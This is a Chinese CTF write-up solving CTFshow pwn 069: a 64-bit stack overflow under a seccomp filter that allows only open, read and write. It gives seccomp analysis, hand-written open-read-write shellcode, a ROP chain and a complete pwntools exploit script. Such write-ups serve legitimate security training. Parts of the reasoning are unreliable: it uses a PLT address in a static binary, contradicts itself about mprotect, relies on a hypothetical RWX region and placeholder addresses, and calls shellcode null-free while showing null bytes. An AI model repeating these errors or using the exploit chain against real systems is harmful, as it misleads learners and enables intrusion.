CTF Pwn 069:64位栈溢出与ORW沙箱逃逸实战解析

发布时间:2026/7/9 18:44:43
CTF Pwn 069:64位栈溢出与ORW沙箱逃逸实战解析 1. 项目概述与核心挑战最近在复盘CTFshow的pwn系列题目做到pwn 069这一题时感觉它把64位栈溢出、沙箱逃逸和Shellcode构造这几个点结合得非常巧妙是一道检验综合能力的经典题目。题目本身是一个64位的可执行程序开启了栈不可执行NX保护并且通过seccomp沙箱机制严格限制了系统调用的使用。这意味着我们无法像传统的栈溢出那样直接执行一个execve(“/bin/sh”)的Shellcode来getshell。题目的核心目标变成了在沙箱的“牢笼”里利用有限的、被允许的系统调用去读取服务器上的一个特定文件通常是flag这也就是所谓的“ORW”Open-Read-Write利用链。很多刚接触沙箱题的朋友可能会有点懵感觉限制太多了无从下手。其实这道题的解题思路非常清晰就像玩一个解谜游戏第一步利用栈溢出漏洞控制程序执行流第二步分析沙箱规则搞清楚我们能“合法”使用哪些系统调用第三步根据允许的调用构造一段能完成“打开文件-读取内容-输出内容”的Shellcode第四步将这段Shellcode布置到内存中并跳转执行。整个过程环环相扣缺一不可。接下来我就结合自己的解题过程把这几个环节掰开揉碎了讲清楚特别是64位汇编调用约定和seccomp规则分析这些容易卡壳的地方。2. 环境准备与初步分析拿到一个pwn题第一步永远是信息收集。我们先用file命令看看程序的基本信息。$ file pwn pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]..., stripped关键信息出来了64位、静态链接、剥离了符号表。静态链接意味着我们无法利用动态链接库中的函数如system但好处是程序本身包含了所有需要的代码或许能更容易地找到一些有用的gadget。剥离符号表则会让逆向分析稍微麻烦一点函数名都没了。接着用checksec检查安全机制$ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)这是一个非常典型的栈溢出漏洞环境没有栈保护Canary栈不可执行NX并且没有地址随机化PIE。没有Canary让我们可以肆意覆盖返回地址NX开启意味着我们不能直接在栈上执行代码必须转向ROP或类似技术没有PIE则让.text段的地址是固定的我们能够可靠地计算和使用程序自身的代码片段gadgets。这些信息结合起来基本确定了利用方向是栈溢出覆盖返回地址构造ROP链。运行一下程序看看它的交互逻辑。通常这类题目会有一个简单的输入点。$ ./pwn Welcome to CTFshow pwn 069! Please input your name: AAAA Hello, AAAA!程序会读取我们的输入并回显。直觉告诉我这个读取输入的地方很可能就是漏洞点。我们需要用逆向工具如IDA Pro, Ghidra, r2进一步分析。由于是静态链接且 stripped在IDA中打开后直接找main函数可能不太方便可以从程序的入口点_start或字符串交叉引用入手。通过搜索字符串“Welcome to CTFshow”或“Please input your name”可以快速定位到主要函数。注意静态链接的程序体积通常很大逆向时要有耐心。重点不是读懂所有代码而是找到那个读取用户输入的缓冲区并确定其大小和与返回地址的偏移。3. 漏洞点定位与偏移计算通过逆向分析这里以伪代码示意我们找到了类似如下的关键函数void vulnerable_function() { char buf[0x40]; // 假设缓冲区大小是0x40字节 puts(Please input your name:); read(0, buf, 0x100); // 这里存在明显的栈溢出读取了0x100字节但buf只有0x40 printf(Hello, %s!\n, buf); }漏洞非常清晰buf是一个在栈上分配的、大小为0x4064字节的字符数组但read函数允许读取最多0x100256字节的数据。这造成了栈溢出我们可以覆盖vulnerable_function的返回地址从而控制程序的执行流。下一步是计算覆盖返回地址所需的精确偏移量。在64位程序中参数传递和栈帧结构与32位有所不同我们需要考虑缓冲区buf本身的大小。buf之后可能存在的对齐填充padding。保存的基址指针RBP的位置。最后才是返回地址RIP。最可靠的方法是动态调试。使用gdb在read函数返回后下断点查看栈布局。$ gdb ./pwn (gdb) pattern create 200 AAA... (生成一个200字节的特定模式字符串) (gdb) r ... 程序运行输入模式字符串 ... (gdb) x/gx $rsp ... 查看栈顶 ... (gdb) info frame ... 查看栈帧信息 ...更常用的方法是利用cyclic工具来自pwntools生成一段唯一字符串输入后程序崩溃时记录下触发崩溃的地址值再用cyclic -l 地址值反推出偏移量。假设我们通过调试计算出偏移量是0x40 8 0x4872字节。这意味着我们需要先填充72个字节的垃圾数据如bA*72之后写入的8个字节64位地址就会精确覆盖到返回地址上。实操心得在计算64位偏移时经常容易忽略rbp本身也占8个字节。所以偏移量通常是buffer_size 8(rbp)。使用cyclic工具能极大减少手动计算错误。另外静态链接程序内部可能调用其他函数栈布局稍有不同一定要以动态调试结果为准。4. Seccomp沙箱规则深度解析控制了返回地址接下来往哪跳传统思路是跳转到system(“/bin/sh”)或者布置一个Shellcode。但题目描述和checksec提示我们存在seccomp沙箱。我们必须先搞清楚这个沙箱到底允许我们做什么。seccompsecure computing mode是Linux内核提供的一种沙箱机制可以严格限制进程能够使用的系统调用。题目通常会在main函数或初始化函数中调用prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, filter)来设置规则。我们需要将沙箱规则即filter提取出来进行分析。有两种常用方法方法一静态分析提取在IDA中找到设置seccomp的代码其第三个参数通常是一个指向struct sock_fprog的指针里面包含了伯克利包过滤器BPF指令。我们可以写一个脚本将这些指令dump出来或者使用seccomp-tools这个神器。方法二动态调试dump在gdb中在调用prctl处下断点打印出filter指针指向的内存内容保存为文件。这里强烈推荐使用seccomp-tools它可以直接对二进制文件进行解析$ seccomp-tools dump ./pwn line CODE JT JF K 0000: 0x20 0x00 0x00 0x00000004 A arch 0001: 0x15 0x00 0x09 0xc000003e if (A ! ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff if (A ! 0xffffffff) goto 0011 0005: 0x15 0x04 0x00 0x00000000 if (A read) goto 0010 0006: 0x15 0x03 0x00 0x00000001 if (A write) goto 0010 0007: 0x15 0x02 0x00 0x00000002 if (A open) goto 0010 0008: 0x15 0x01 0x00 0x0000003c if (A exit) goto 0010 0009: 0x15 0x00 0x01 0x000000e7 if (A ! exit_group) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILL分析这段BPF代码逻辑非常清晰检查架构是否为x86_64ARCH_X86_64不是则KILL。检查系统调用号是否小于0x40000000通常为真并过滤一个无效值。允许的系统调用有read(0),write(1),open(2),exit(60),exit_group(231)。任何其他系统调用都会导致进程被KILL。这就是典型的ORW沙箱它只允许我们打开文件、读取文件、写入数据到标准输出以及退出进程。像execve,system,mprotect这些用于getshell或修改内存属性的调用都被禁用了。因此我们的利用目标非常明确构造一段只使用open、read、write这三个系统调用的Shellcode来读取flag文件。注意事项seccomp-tools的输出是反汇编的BPF指令需要一点耐心阅读。关键看return ALLOW前面的那些条件判断它们就是白名单。sys_number对应的数字需要查表如/usr/include/asm/unistd_64.h来确认具体是哪个系统调用。5. 64位ORW Shellcode构造详解既然只能使用open、read、write我们就需要手写或组装一段Shellcode。在64位Linux下系统调用通过syscall指令触发参数通过寄存器传递rax: 系统调用号rdi: 第一个参数rsi: 第二个参数rdx: 第三个参数r10: 第四个参数注意不是rcxr8: 第五个参数r9: 第六个参数我们的目标是打开名为flag的文件读取其内容然后将内容写到标准输出文件描述符1。步骤一打开文件open系统调用号open 2 (/usr/include/asm/unistd_64.h中#define __NR_open 2)参数rdi: 文件路径字符串的地址。我们需要在内存中布置字符串flag或./flag。rsi: 打开标志flags。通常只读打开用O_RDONLY 0。rdx: 模式mode。打开已存在文件时可设为0。返回值成功时返回文件描述符一个小的非负整数会存放在rax中。我们需要保存这个值供后续read使用。步骤二读取文件内容read系统调用号read 0参数rdi: 文件描述符即上一步open的返回值。rsi: 缓冲区的地址用于存放读出的数据。我们需要一块可写的内存区域。rdx: 要读取的字节数。可以设置一个较大的值比如0x100。返回值实际读取的字节数存放在rax中。这个值可以用于后续write指定长度。步骤三写入标准输出write系统调用号write 1参数rdi: 文件描述符。标准输出是1。rsi: 要写入的数据的地址即上一步read使用的缓冲区地址。rdx: 要写入的字节数即上一步read的返回值。Shellcode汇编实现我们需要用汇编指令实现上述逻辑并确保Shellcode是位置无关的PIC且不包含空字节\x00因为空字节会被C字符串函数截断。下面是一段经典的64位ORW Shellcode汇编section .text global _start _start: ; 1. 将字符串 flag 压入栈中 xor rax, rax push rax ; 字符串结尾的 null 字节 mov rbx, 0x67616c66 ; g,a,l,f 即 flag 的十六进制表示 (注意小端序) push rbx mov rdi, rsp ; rdi 现在指向栈上的字符串 flag\0 ; 2. 调用 open(rdi, O_RDONLY, 0) xor rsi, rsi ; flags O_RDONLY 0 xor rdx, rdx ; mode 0 mov rax, 2 ; syscall number for open syscall ; 3. 将返回的文件描述符保存到 rbx 中 mov rbx, rax ; 4. 调用 read(rbx, rsp, 0x100) mov rdi, rbx ; fd 刚才 open 返回的 fd mov rsi, rsp ; buf 栈空间作为缓冲区 mov rdx, 0x100 ; count 读取 0x100 字节 xor rax, rax ; syscall number for read 0 syscall ; 5. 调用 write(1, rsp, rax) mov rdx, rax ; count read 实际返回的字节数 mov rdi, 1 ; fd 1 (stdout) mov rsi, rsp ; buf 栈上存放 flag 内容的地方 mov rax, 1 ; syscall number for write syscall ; 6. 退出程序 (可选) mov rax, 60 ; syscall number for exit xor rdi, rdi syscall将这段汇编代码保存为orw.asm然后用nasm编译并提取机器码$ nasm -f elf64 orw.asm -o orw.o $ ld orw.o -o orw $ objdump -d orw | grep -A50 _start: | grep -oP \t[0-9a-f]{2}( [0-9a-f]{2})* | tr -d \t | sed s/ /\\x/g你会得到一串类似\x48\x31\xc0\x50\x48\xbb\x66\x6c\x61\x67\x00\x00\x00\x00\x53\x48\x89\xe7...的Shellcode。注意我们上面汇编代码中mov rbx, 0x67616c66后直接push rbx会在栈上形成66 6c 61 67 00 00 00 00即flag\0\0\0\0因为rbx是64位寄存器推入的是8字节。为了更精简可以优化为只推入4字节但需要处理对齐。上面的写法是清晰且可用的。核心技巧构造Shellcode时优先使用xor、mov等指令来清零或赋值寄存器避免直接出现\x00。字符串要倒序推入栈中小端序。syscall指令的机器码是\x0f\x05。在实战中也可以使用pwntools的shellcraft模块来生成ORW Shellcode非常方便shellcode asm(shellcraft.amd64.linux.cat(flag))。6. 利用链设计与ROP Gadget寻找现在我们有了Shellcode但NX保护阻止我们在栈上执行它。我们需要将Shellcode写入一个可写且可执行的内存区域然后跳转过去。然而静态链接的程序中通常所有段包括栈、堆、数据段的权限在链接时就已经确定NX开启后很难找到现成的可执行页面。这时我们需要转换思路利用ROPReturn-Oriented Programming技术调用mprotect或mmap等系统调用来创建或修改出一块可执行内存但是seccomp沙箱禁止了mprotect系统调用号10和mmap系统调用号9。这就陷入了死循环吗并非如此。仔细回顾沙箱规则它只限制了系统调用。而mprotect和mmap是C库函数它们内部最终会触发系统调用。沙箱禁止的是syscall指令发起的特定调用号。但是程序本身是静态链接的它的.text段里已经包含了mprotect和mmap函数的完整机器码。如果我们能控制程序执行流让它直接执行libc中的mprotect函数代码而不是通过syscall指令那么内核在执行该系统调用时检查的是当前进程的上下文而该进程的沙箱规则已经生效所以mprotect的系统调用依然会被拦截。因此在严格的ORW沙箱下直接调用mprotect是不可行的。我们必须寻找其他路径。一个关键的突破口是虽然栈不可执行但我们可以将Shellcode写入一个可写的内存区域如.bss段或堆然后寻找一种方法让这段内存变得可执行。在有些题目中程序可能本身使用了mmap分配了具有PROT_EXEC权限的内存或者存在某些函数指针如atexit、回调函数指向可写区域。但在本题pwn 069的典型解法中我们发现了更巧妙的路径利用read函数本身。read函数的作用是将数据从文件描述符读入缓冲区。它的第三个参数rdx是读取的长度。如果我们能控制rdx为一个很大的值比如0x1000并且控制目标地址rsi为某个内存区域那么read就可以向该区域写入大量我们控制的数据包括Shellcode。那么如何执行这段Shellcode呢如果该内存区域不可执行跳转过去就会触发段错误。这里就需要用到栈迁移Stack Pivoting技术。我们可以将栈指针rsp迁移到我们可控的、存放了Shellcode的缓冲区附近然后通过ret指令让CPU从这块缓冲区中“取指执行”。但NX保护下数据区不可执行ret指令从数据区读取的“指令”不会被真正执行只会被当作地址导致控制流再次跳转。因此纯粹的栈迁移在NX开启时不能直接执行代码。我们需要一个可执行的内存页。在静态链接程序中.text段是可执行的。我们的Shellcode能否放入.text段.text段通常是只读的。最终的解决方案往往依赖于题目本身提供的“巧合”。经过对二进制文件的仔细搜索我们可能会发现程序中存在一段可读可写可执行RWX的内存区域。这在不严谨的编译选项或特定链接脚本下可能出现。程序在初始化时通过mmap或类似方式分配了一块具有执行权限的内存并且其地址是固定的或可预测的。存在一个已知地址的、内容完全可控的缓冲区比如一个全局数组char buf[0x1000]并且这个缓冲区所在的段如.data、.bss被错误地赋予了执行权限虽然这种情况在现代编译环境下很少见。在pwn 069的常见预期解中通常是第一种或第二种情况。我们需要用ROP链完成以下步骤将ORW Shellcode写入一块已知地址的、可执行的内存区域记为shellcode_addr。跳转到shellcode_addr执行。为了写入Shellcode我们需要一个“写内存”的原语。这可以通过ROP调用read函数实现控制rdi0标准输入rsishellcode_addrrdxlen(shellcode)然后调用read的PLT项或函数地址。这需要我们能控制这三个参数。因此我们的ROP链需要以下gadgetspop rdi; ret用于控制第一个参数。pop rsi; ret用于控制第二个参数。pop rdx; ret或pop rdx; pop r??; ret用于控制第三个参数。控制rdx的gadget有时比较难找也可以寻找pop rdx; ret或者通过其他寄存器间接控制如mov rdx, rax; ret。pop rax; ret用于控制系统调用号如果需要直接进行syscall。syscall; ret用于触发系统调用。此外还需要ret指令来串联各个gadget。在静态链接的、剥离了符号表的二进制文件中寻找gadget是一项耐心的工作。可以使用ROPgadget、ropper或pwntools的ROP模块来搜索。$ ROPgadget --binary ./pwn gadgets.txt $ grep pop rdi gadgets.txt $ grep pop rsi gadgets.txt $ grep pop rdx gadgets.txt $ grep syscall gadgets.txt $ grep ret gadgets.txt | head -20假设我们找到了以下关键gadgets的地址地址需根据题目具体分析pop rdi; ret:0x4011abpop rsi; pop r15; ret:0x4011a9(注意这里多弹出了一个r15我们需要在链中为它填充一个无关值)pop rdx; ret:0x401234(假设)syscall; ret:0x401567同时我们还需要一块可执行内存的地址。假设通过分析我们发现程序在0x402000处有一块0x1000大小的RWX内存例如通过查看/proc/self/maps或分析程序初始化代码。那么构造ROP链的payload结构如下payload bA * offset # 填充至返回地址 payload p64(pop_rdi_ret) # 设置 read 的第一个参数fd 0 (stdin) payload p64(0) payload p64(pop_rsi_r15_ret) # 设置 read 的第二个参数buf 可执行内存地址 payload p64(executable_addr) # 例如 0x402000 payload p64(0) # 填充 r15 的垃圾数据 payload p64(pop_rdx_ret) # 设置 read 的第三个参数count Shellcode长度 payload p64(len(shellcode)) payload p64(read_plt_addr) # 调用 read 函数等待我们输入 Shellcode # read 函数返回后会返回到我们链中的下一个地址 payload p64(executable_addr) # 直接跳转到我们刚刚写入 Shellcode 的地址发送这个payload后程序会执行read(0, executable_addr, len(shellcode))然后暂停等待我们的输入。此时我们再发送我们精心构造的、不含空字节的ORW Shellcode。程序接收到Shellcode后read函数返回接着执行ret指令弹栈得到executable_addr并跳转过去最终执行我们的Shellcode。避坑指南在构造ROP链时务必注意栈平衡。每个gadget执行后的ret指令都会从栈顶弹出下一个地址来跳转。确保你的payload中在函数调用如read之后的下一个地址是你希望继续执行的位置。另外如果gadget会pop多个寄存器如pop rsi; pop r15; ret一定要记得在payload中为每一个被pop的寄存器都提供一个值哪怕是0否则栈指针会错乱导致后续链失效。7. 完整利用脚本编写与调试将上述所有步骤结合起来我们就可以编写一个完整的利用脚本了。这里使用pwntools框架因为它能极大简化本地调试和远程交互的过程。#!/usr/bin/env python3 from pwn import * context(archamd64, oslinux) # context.log_level debug # 调试时开启 # 根据题目启动方式选择 # p process(./pwn) # 本地运行 p remote(xxx.xxx.xxx.xxx, 9999) # 连接远程 # 1. 计算偏移量 (假设为72) offset 72 # 2. 关键地址 (需要根据实际题目替换) pop_rdi_ret 0x4011ab pop_rsi_r15_ret 0x4011a9 pop_rdx_ret 0x401234 read_plt 0x401050 # read函数的PLT地址或函数地址 executable_addr 0x402000 # 可读可写可执行的内存区域地址 # 3. 构造ROP链用于调用read将shellcode写入可执行区域 rop_chain bA * offset rop_chain p64(pop_rdi_ret) # rdi 0 (stdin) rop_chain p64(0) rop_chain p64(pop_rsi_r15_ret) # rsi executable_addr rop_chain p64(executable_addr) rop_chain p64(0) # 填充r15 rop_chain p64(pop_rdx_ret) # rdx shellcode长度 (稍后确定) # 先占位发送ROP链后再发送shellcode shellcode_len 200 # 预留足够空间 rop_chain p64(shellcode_len) rop_chain p64(read_plt) # 调用read(0, executable_addr, shellcode_len) rop_chain p64(executable_addr) # read返回后跳转到shellcode执行 # 4. 发送ROP链 p.recvuntil(bPlease input your name:\n) p.send(rop_chain) # 5. 构造ORW Shellcode (使用pwntools的shellcraft快速生成) # 注意shellcraft.cat(flag) 生成的shellcode可能包含openat等需确保符合沙箱规则 # 更稳妥的是使用严格的open/read/write shellcode asm( /* 将字符串 flag 压栈 */ xor rax, rax push rax mov rbx, 0x67616c66 /* flag */ push rbx mov rdi, rsp /* open(rdi, O_RDONLY, 0) */ xor rsi, rsi xor rdx, rdx mov rax, 2 syscall /* read(fd, rsp, 0x100) */ mov rdi, rax mov rsi, rsp mov rdx, 0x100 xor rax, rax syscall /* write(1, rsp, rax) */ mov rdx, rax mov rdi, 1 mov rsi, rsp mov rax, 1 syscall /* exit(0) */ mov rax, 60 xor rdi, rdi syscall ) # 6. 发送Shellcode p.send(shellcode.ljust(shellcode_len, b\x90)) # 用nop指令填充到指定长度 # 7. 接收flag p.interactive()脚本编写与调试要点地址替换脚本中的pop_rdi_ret、executable_addr等关键地址必须替换为题目二进制文件中的实际值。这需要通过逆向工程和动态调试来获取。偏移量确认offset变量必须准确。使用cyclic和gdb反复验证。Shellcode长度shellcode_len需要足够容纳你的Shellcode。可以先用len(shellcode)计算实际长度并留一些余量。在发送时用nop(\x90)填充是个好习惯。调试技巧在脚本开头加上context.log_level debug可以看到所有发送和接收的数据对于排查问题非常有用。在关键函数如read调用前后下断点观察寄存器和内存状态是否符合预期。本地测试务必先在本地用process(./pwn)测试通过再尝试远程。本地测试时可以搭配gdb.attach(p)进行动态调试。注意事项生成的Shellcode务必检查是否包含空字节\x00因为read函数虽然可以读入空字节但某些字符串处理函数可能会截断。使用pwntools的asm函数生成的Shellcode通常是干净的。可以用print(shellcode.hex())来检查。8. 常见问题与排查技巧实录在实际操作中你可能会遇到各种各样的问题。这里记录几个我踩过的坑和解决方法问题1ROP链执行后程序崩溃报错SIGSEGV。可能原因1偏移量计算错误。这是最常见的问题。覆盖的返回地址没有对准真正的返回地址导致栈失衡。排查方法在gdb中运行脚本在溢出函数返回时ret指令下断点观察栈顶rsp指向的内容是否是你ROP链的第一个gadget地址。如果不是调整偏移量。可能原因2gadget地址错误或不可执行。静态链接程序中可能存在多个相似的gadget要确认找到的gadget地址确实指向正确的指令序列。排查方法在gdb中用x/i address查看该地址的指令确认是pop rdi; ret而不是其他指令。同时检查该地址是否在程序的.text段内具有可执行权限。可能原因3栈对齐问题。某些系统调用或函数特别是涉及SSE指令的要求栈指针rsp在调用时是16字节对齐的。而ret指令会pop一个8字节地址可能导致栈不对齐。解决方法在ROP链中插入一个单独的ret指令地址通常很容易找到来调整栈对齐。例如payload p64(ret_gadget) p64(pop_rdi_ret)...。问题2成功跳转到Shellcode但执行open系统调用后返回负值错误。可能原因1文件路径错误。Shellcode中指定的文件路径如flag在服务器上可能不存在或者路径不对可能需要./flag或/flag。排查方法查看open的返回值rax寄存器。如果为负数其绝对值就是错误码如-2表示ENOENT文件不存在。可以尝试在Shellcode中打印错误码或者多尝试几种路径。可能原因2沙箱规则更严格。可能只允许openat而不是open或者对open的标志位有要求。解决方法重新仔细分析seccomp规则。使用seccomp-tools的详细模式seccomp-tools dump -f inspect ./pwn。确保你的系统调用号完全匹配白名单。问题3read函数成功返回但跳转到executable_addr后没有任何输出程序静默退出。可能原因1内存区域不可执行。这是最可能的原因。你选择的executable_addr可能只有读写权限没有执行权限。跳转过去后CPU尝试从该地址取指会触发SIGSEGV。排查方法在gdb中在跳转前用vmmap命令或info proc mappings查看executable_addr所在内存区域的权限。确保有x执行权限。可能原因2Shellcode被截断或覆盖。read函数读取的字节数可能不足或者后续的代码覆盖了Shellcode。排查方法在read函数返回后于executable_addr处下断点用x/20i executable_addr查看内存中的指令是否是你的Shellcode。如果不是检查read的参数是否正确以及发送的Shellcode是否完整。可能原因3Shellcode自身有bug。比如寄存器保存与恢复出错或者触发了非法指令。解决方法将Shellcode单独提取出来写一个简单的C程序测试其功能。或者使用pwntools的shellcraft生成的、经过验证的Shellcode。问题4远程可以打通但拿不到flag或者输出乱码。可能原因1flag文件不在当前目录。题目可能将flag放在其他路径如/home/pwn/flag、/flag等。解决方法尝试常见的flag路径或者用/proc/self/cwd/flag指向当前工作目录。有时题目描述或源码会提示。可能原因2输出被缓冲。write系统调用成功但数据可能被标准输出缓冲机制卡住没有立即显示。解决方法在Shellcode的write调用后添加一个exit或exit_group系统调用强制进程结束并刷新缓冲区。或者尝试写入文件描述符2stderr它通常是无缓冲的。可能原因3网络连接问题。远程服务器可能关闭了连接或者输出被截断。排查方法在脚本中尝试循环接收直到连接关闭print(p.recvall().decode())。通用调试命令速查表场景GDB 命令作用计算偏移cyclic 200cyclic -l 0x6161616c生成定位字符串计算偏移量查看内存映射vmmap或info proc mappings查看各内存段权限找RWX区域查看寄存器i r或info registers查看所有寄存器值查看栈内存x/10gx $rsp查看栈顶10个8字节内容反汇编地址x/i 0x401000查看地址处的指令下断点b *0x401234b read在地址或函数处下断点继续执行c继续运行程序单步执行ni(next instruction)si(step into)单步调试附加进程gdb.attach(p)(在pwntools脚本中)将gdb附加到运行中的进程最后pwn 069这道题的精髓在于将栈溢出、ROP链构造、沙箱绕过和Shellcode编写串联起来。它要求你对64位调用约定、系统调用、内存布局和漏洞利用的整个链条有清晰的理解。每一步的失误都可能导致前功尽弃耐心调试和严谨分析是成功的关键。当你看到终端上打印出flag{...}的那一刻你会觉得这一切都是值得的。